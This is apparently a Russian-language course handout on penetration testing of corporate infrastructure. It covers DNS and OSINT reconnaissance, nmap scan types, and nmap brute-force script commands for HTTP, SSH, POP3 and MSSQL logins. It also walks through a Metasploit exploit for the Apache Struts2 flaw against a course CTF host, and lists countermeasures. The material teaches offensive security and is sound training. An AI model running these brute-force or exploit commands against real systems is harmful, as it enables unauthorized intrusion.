ntensive-CSR-2
Тестирование на проникновение внешней и внутренней IT-инфраструктуры
Какие цели ставит пентестер?
Чем отличается работа по взлому корпоративной инфраструктуры от работ по анализу защищенности веб-приложений? Инструменты? Подход?
Проводимые атаки
Новые этапы:
Исследование скоупа. Скоуп?
Сканирование сети и сервисов
Применение эксплойтов
Атаки на инфраструктуру Windows
Атаки Man in The Middle (MiTM)
Анализ скоупа внешней инфраструктуры
Входные данные
Имя компании;
Доменное имя;
IP адрес(а);
Цели
Получить доменные имена второго и третьего уровней принадлежащие компании
Получить IP адреса принадлежщие компании
Получить адреса веб-приложений компании
Собрать информацию об имеющихся публичных сервисах компании
Процесс сбора информации
Утилиты:
host
nslookup
dig
whois
Информация из DNS:
Record Type Description
A Points to a host’s IP address
MX Points to domain’s mail server
NS Points to host’s name server
CNAME Canonical naming allows aliases to a host
SOA Indicate authority for a domain
SRV Service records
PTR Maps IP address to a hostname
RP Responsible person
HINFO Host information record includes CPU type and OS
TXT Unstructured text records
Онлайн-сервисы:
https://www.shodan.io/host/
https://censys.io/
https://community.riskiq.com/
https://crt.sh
https://pentest-tools.com/home
http://google.com, bing.com,yandex.ru (inurl, site, filetype, cache, etc…)
Инструменты:
DNSrecon
root@hackeru:~> dnsrecon -r 162.241.216.0-162.241.216.255 # Брут обратных записей по адресному пространству
Amass
root@hackeru:~> amass enum -brute -active -d example.com -ip -src -json example.com.out.json
Recon-ng
root@hackeru:~> recon-ng
_/_/_/ _/_/_/_/ _/_/_/ _/_/_/ _/ _/ _/ _/ _/_/_/
_/ _/ _/ _/ _/ _/ _/_/ _/ _/_/ _/ _/
_/_/_/ _/_/_/ _/ _/ _/ _/ _/ _/ _/_/_/_/ _/ _/ _/ _/ _/_/_/
_/ _/ _/ _/ _/ _/ _/ _/_/ _/ _/_/ _/ _/
_/ _/ _/_/_/_/ _/_/_/ _/_/_/ _/ _/ _/ _/ _/_/_/
+---------------------------------------------------------------------------+
| _ ___ _ __ |
| |_)| _ _|_ |_|.|| _ | _ |_ _ _ _ _ _|_o _ _ (_ _ _ _o_|_ |
| |_)|(_|(_|\ | ||||_\ _|_| || (_)| |||(_| | |(_)| | __)(/_(_|_|| | | \/ |
| / |
| Consulting | Research | Development | Training |
| http://www.blackhillsinfosec.com |
+---------------------------------------------------------------------------+
[recon-ng v4.6.3, Tim Tomes (@LaNMaSteR53)]
[71] Recon modules
[7] Reporting modules
[2] Import modules
[2] Exploitation modules
[2] Discovery modules
[recon-ng][default] > use discovery/info_disclosure/interesting_files
[recon-ng][default][interesting_files] > set SOURCE mi-al.ru
SOURCE => mi-al.ru
[recon-ng][default][interesting_files] > run
[*] http://mi-al.ru:80/robots.txt => 200. 'robots.txt' found!
[*] http://mi-al.ru:80/sitemap.xml => 301
[*] http://mi-al.ru:80/sitemap.xml.gz => 301
[*] http://mi-al.ru:80/crossdomain.xml => 301
[*] http://mi-al.ru:80/phpinfo.php => 301
[*] http://mi-al.ru:80/test.php => 301
[*] http://mi-al.ru:80/elmah.axd => 301
[*] http://mi-al.ru:80/server-status => 301
[*] http://mi-al.ru:80/jmx-console/ => 404
[*] http://mi-al.ru:80/admin-console/ => 404
[*] http://mi-al.ru:80/web-console/ => 404
[*] 1 interesting files found.
[*] ...downloaded to '/root/.recon-ng/workspaces/default/'
[recon-ng][default][interesting_files] >
OSRFramework
usufy.py - Проверка профиля пользователя на 290 различных платформах
mailfy.py - Проверка существования заданной электронной почты
searchfy.py - Выполнение запроса на платформах в OSRFramework
domainfy.py - Проверка существования доменов
phonefy.py - Проверка существования заданной серии телефонов
entify.py - Использование регулярных выражений для извлечения объектов
Контрмеры
Разработать и внедрить политики безопасности для регулирования информации, которую сотрудники могут раскрывать третьим лицам.
Разделите внутреннюю и внешнюю DNS или используйте раздельную DNS, и ограничьте передачу зоны на авторизованные серверы
Отключить индексацию каталогов на веб-серверах
Проводить периодические тренинги по повышению осведомленности в области безопасности для обучения сотрудников различным угрозам социальной инженерии и рискам.
Подключить услуги по обеспечению конфиденциальности в базе данных Whois Lookup.
Избегайте перекрестных ссылок на домены критически важных активов.
Применяйтк шифрование и защиту паролем конфиденциальной информации
Разместить важнейшие документы, такие как бизнес-планы и проприетарные документы, в автономном режиме для предотвращения кражи
Обучение сотрудников методам социальной инженерии и борьбе с атаками.
Санитизация данных, предоставляемых интернет-регистраторам, чтобы скрыть прямые контактные данные организации.
Отключите функцию геотегов на камерах для предотвращения геолокационного слежения
Убедитесь, что на досках объявлений или стенах не отображается критическая информация.
Использовать методы “киберразведки” для обнаружения и удаления любой конфиденциальной информации, находящейся в открытом доступе.
Исследование сервисов
Nmap
Docs: https://nmap.org/man/ru/
Пример использования:
nmap -sT -sV -Pn -p1-1024 --open -v ctf.hackeru.pro
Пример использования (Advanced):
nmap -sS -sC -sV --version-all -T5 -Pn -n -p- --open -v -oA 1.1.1.1 8.8.8.8-16
Основные типы сканирования:
TCP Connect/Full Open Scan (-sT)
Half-open Scan (-sS)
UDP Scanning (-sU)
Все типы:
TCP Scanning:
Open TCP Scanning Methods:
TCP Connect/Full Open Scan
Stealth TCP Scanning Methods:
Half-open Scan
Inverse TCP Flag Scan:
Xmas Scan
FIN Scan
NULL Scan
Maimon Scan
ACK Flag Probe Scan:
TTL-Based Scan
Window Scan
Third Party and Spoofed TCP Scanning Methods:
IDLE/IP ID Header Scan
UDP Scanning:
UDP Scanning
SCTP Scanning:
SCTP INIT Scanning
SCTP COOKIE/ECHO Scanning
SSDP Scanning:
SSDP and List Scanning
IPv6 Scanning:
IPv6 Scanning
Полезные ключи:
-A - агрессивное сканирование
-sV - определение версий ПО на TCP/UDP портах
-sC - запуск скриптов
-O - определение версий ОС
--version-all (--version-intensity) - Устанавливает интенсивность работы функции (1-9, по умолчанию 7)
-T0-5 - Временные задержки между запросами (Скорость сканирования) (Шаблоны для временных опций)
-Pn - Не использовать пинг сканирование
-sP - Пинг сканирование
-PS - TCP SYN пингование (Поиск хостов по запросу к TCP)
-n - Не производить обратное разрешение DNS имен
-r - Производить разрешение DNS имен для всех целей
-p1-65535 - указание диапазона портов для сканирования
--open - отобразить в отчете только открытые порты
-v/-vvv - уровень подробности отчета в ходе сканирования
-oA/-oN/-oX - создание файла отчета (всех типов/только стандартного формата/XML формат)
--script - запус отдельного скрипта NSE
Nmap подсказки:
# Regular:
sudo nmap -R -Pn -sC -sV --version-all -T5 -p- --open -v -oN %y%m%d-target-name <target>
# Fast Full Host Discovery:
nmap --min-rate=400 --min-parallelism=512 -p22,445,3389,80,443 -Pn -R -PS -oA full <target>
# Check HTTP Methods
nmap --script=http-methods <target> -n -p 80
# HTTP Base Auth Brute:
nmap --script http-brute -p 80 --script-args="[http-brute.hostname=<target>],http-brute.method=GET,http-brute.path=[/path],brute.firstonly=true,userdb=[Users.txt],passdb=[Passwords.txt]" -v --system-dns <target>
# HTTP Auth Form Brute:
sudo nmap --script http-form-brute -p 80 --script-args="[brute.firstonly=true],http-form-brute.path=[/path],http-form-brute.onfailure='Error message.',http-form-brute.passvar=[password],http-form-brute.uservar=[username],http-form-brute.method=POST,[brute.emptypass=true]" <target>
# POP3 Brute:
nmap -sV --script=pop3-brute --script-args='passdb=[file_with_pass],userdb=[file_with_names],brute.emptypass[,brute.firstonly][,brute.threads]' <target>
# SMB Checks:
nmap -p 139,445 --script smb-os-discovery,smb-enum-shares,smb-system-info <target> #smb-vuln-ms17-010
# SSH Brute:
nmap -p 22 --script ssh-brute --script-args user=root,passdb=pass.lst --script-args ssh-brute.timeout=4s <target>
# LDAP Search:
nmap –script ldap-search –T4 –o nmap.ldap_search <target>
# MSSQL Login:
nmap -p 1433 --script ms-sql-brute --script-args userdb=customuser.txt,passdb=custompass.txt <target>
# SNMP Scan:
nmap -P0 -v -sU -p 161 -oA snmp_scan <target>
Проведение атак
Подбор паролей
Атаки “перебора по словарю” и “методом полного перебора”
Словари:
https://weakpass.com/
https://github.com/danielmiessler/SecLists/tree/master/Passwords
Инструменты:
Patator
thc-Hydra
Burp Suite Intruder
Поиск паролей по умолчанию:
https://www.fortypoundhead.com/tools_dpw.asp
https://cirt.net/passwords
http://www.defaultpassword.us
https://default-password.info
http://open-sez.me
Эксплуатация уязвимостей
Краткая памятка:
То, что может сделать с информацией атакующий, называется угрозой (threat);
То, благодаря чему он может это сделать, называется уязвимостью (vulnerability), обусловленной недостатком (weakness)
То, как он может это сделать, называется атакой (attack)
То, с какой вероятностью у него это удастся и какие последствия может повлечь, называется риском (risk)
То, что не позволяет атакующему провести атаку, обеспечивает защищенность (security)
То, что минимизирует риск, обеспечивает безопасность (safety)
Уязвимости
CVE - https://cve.mitre.org/
CWE - https://cwe.mitre.org/
Эксплуатация
Exploit - компьютерная программа, фрагмент программного кода или последовательность команд, использующие уязвимости в программном обеспечении и применяемые для проведения атаки на вычислительную систему.
Metasploit Framework - удобная платформа для создания и отладки эксплойтов.
Payload - “полезная нагрузка”, которая выполнится после эксплуатации уязвимости
Meterpreter - является продвинутой, динамически расширяемой полезной нагрузкой, которая использует in-memory DLL-injection стейджеры
Цель: http://ctf.hackeru.pro:21337/showcase.action
Где можно искать эксплоиты
SecurityFocus
ExploitDB
VulDB
MITRE CVE
Настройка эксплоита struts2_code_exec_showcase
Команды настройки msfconsole для (CVE-2017-9791)(Команды bash):
msfconsole
search struts showcase
use exploit/multi/http/struts2_code_exec_showcase
info
options
set RHOSTS ctf.hackeru.pro
set RPORT 21337
set TARGETURI /integration/saveGangster.action
set PAYLOAD cmd/unix/generic
set CMD 'cat /flag'
check
exploit
Поднять стенд в докере:
root@hackeru:~> docker run -it --rm -p 21337:8080 --volume $(pwd)/flag:/flag --name struts piesecurity/apache-struts2-cve-2017-5638
Дополнительно
Методики проведения тестирования на проникновение:
Penetration Testing Execution Standard (PTES);
NIST Special Publications 800-115 Technical Guide to Information Security Testing and Assessment;
Open Source Security Testing Methodology Manual (OSSTMM);
Information Systems Security Assessment Framework (ISSAF);
Web Application Security Consortium (WASC) Threat Classification;
Open Web Application Security Project (OWASP) Testing Guide;
Payment Card Industry Data Security Standard (PCI DSS);
Стандарты Center for Internet Security (CIS);
Common Vulnerability Scoring System (CVSS).
Телеграм каналы связанные с темой ИБ:
https://t.me/YAH_Channel/191
https://t.me/ExcreamOnSecurity
RoadMap: https://t.me/YAH_Channel/378